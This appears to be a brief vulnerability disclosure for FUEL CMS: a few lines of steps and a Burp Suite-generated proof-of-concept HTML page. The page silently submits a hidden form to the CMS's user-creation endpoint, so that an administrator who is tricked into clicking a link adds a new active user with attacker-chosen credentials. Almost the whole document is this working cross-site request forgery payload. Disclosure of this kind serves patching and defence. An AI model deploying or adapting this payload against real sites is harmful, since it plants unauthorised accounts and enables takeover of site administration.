Log in as an administrator
Inducing the administrator to click on the link
success add an administrator.

POC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://123.x.x.x:8080/fuel/users/create/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="user_name" value="ergou" />
<input type="hidden" name="email" value="1140820922@qq.com" />
<input type="hidden" name="first_name" value="kang" />
<input type="hidden" name="last_name" value="m3lon" />
<input type="hidden" name="new_password" value="ergou" />
<input type="hidden" name="confirm_password" value="ergou" />
<input type="hidden" name="active" value="yes" />
<input type="hidden" name="permissions_exists" value="1" />
<input type="hidden" name="Save" value="Save" />
<input type="hidden" name="id" value="" />
<input type="hidden" name="language" value="" />
<input type="hidden" name="exists_permissions" value="1" />
<input type="hidden" name="__fuel_module__" value="users" />
<input type="hidden" name="__fuel_module_uri__" value="users" />
<input type="hidden" name="__fuel_id__" value="" />
<input type="hidden" name="__fuel_inline_action__" value="create" />
<input type="hidden" name="__fuel_inline__" value="0" />
<input type="hidden" name="fuel_inline" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>